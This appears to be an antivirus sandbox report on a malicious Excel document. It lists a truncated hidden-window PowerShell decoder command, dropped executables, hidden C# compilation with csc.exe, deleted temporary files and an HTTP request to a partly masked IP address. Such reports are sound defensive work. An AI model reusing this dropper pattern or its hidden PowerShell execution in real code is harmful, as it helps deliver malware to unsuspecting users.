Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function z47646 { param($h3d3f5) $h33e8 = 'z3cfcfd';$rf691d = ''; for ($i = 0; $i -lt $h3d3f5.length; $i+=2) { $de34c8 = [convert]::ToByte($h3d3f5.Substring($i, 2), 16...
Modifies file system
Creates the following files
- %TEMP%\jt3scbfk.0.cs
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.word\~wrf{01fe21d1-3912-4723-b745-eaf655c2b98a}.tmp
- %APPDATA%\obb4f36.exe
- %TEMP%\jt3scbfk.dll
- %TEMP%\9om_te7k.dll
- %TEMP%\res2f6f.tmp
- %TEMP%\res2f31.tmp
- %TEMP%\saxmegfx.dll
- %TEMP%\res2e85.tmp
- %TEMP%\csc2f5f.tmp
- %APPDATA%\atagi\sedgf.exe
- %TEMP%\csc2f20.tmp
- %TEMP%\package.json
- %TEMP%\saxmegfx.out
- %TEMP%\saxmegfx.cmdline
- %TEMP%\saxmegfx.0.cs
- %TEMP%\9om_te7k.out
- %TEMP%\9om_te7k.cmdline
- %TEMP%\9om_te7k.0.cs
- %TEMP%\jt3scbfk.out
- %TEMP%\jt3scbfk.cmdline
- %TEMP%\csc2e74.tmp
- %APPDATA%\atagi\sedgf.exe:zoneidentifier
Deletes the following files
- %TEMP%\res2e85.tmp
- %TEMP%\jt3scbfk.dll
- %TEMP%\jt3scbfk.pdb
- %TEMP%\jt3scbfk.cmdline
- %TEMP%\jt3scbfk.out
- %TEMP%\csc2f5f.tmp
- %TEMP%\res2f6f.tmp
- %TEMP%\9om_te7k.dll
- %TEMP%\9om_te7k.pdb
- %TEMP%\9om_te7k.cmdline
- %TEMP%\9om_te7k.0.cs
- %TEMP%\9om_te7k.out
- %TEMP%\csc2f20.tmp
- %TEMP%\res2f31.tmp
- %TEMP%\saxmegfx.dll
- %TEMP%\saxmegfx.cmdline
- %TEMP%\saxmegfx.out
- %TEMP%\saxmegfx.0.cs
- %TEMP%\saxmegfx.pdb
- %TEMP%\csc2e74.tmp
- %TEMP%\jt3scbfk.0.cs
- %TEMP%\package.json
Network activity
TCP
HTTP GET requests
- http://35.##5.200.121/DD/0611078
Miscellaneous
Creates and executes the following
- '%APPDATA%\obb4f36.exe'
- '%APPDATA%\atagi\sedgf.exe'
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\jt3scbfk.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\9om_te7k.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\saxmegfx.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2E85.tmp" "%TEMP%\CSC2E74.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2F31.tmp" "%TEMP%\CSC2F20.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2F6F.tmp" "%TEMP%\CSC2F5F.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\jt3scbfk.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\9om_te7k.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\saxmegfx.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2E85.tmp" "%TEMP%\CSC2E74.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2F31.tmp" "%TEMP%\CSC2F20.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2F6F.tmp" "%TEMP%\CSC2F5F.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
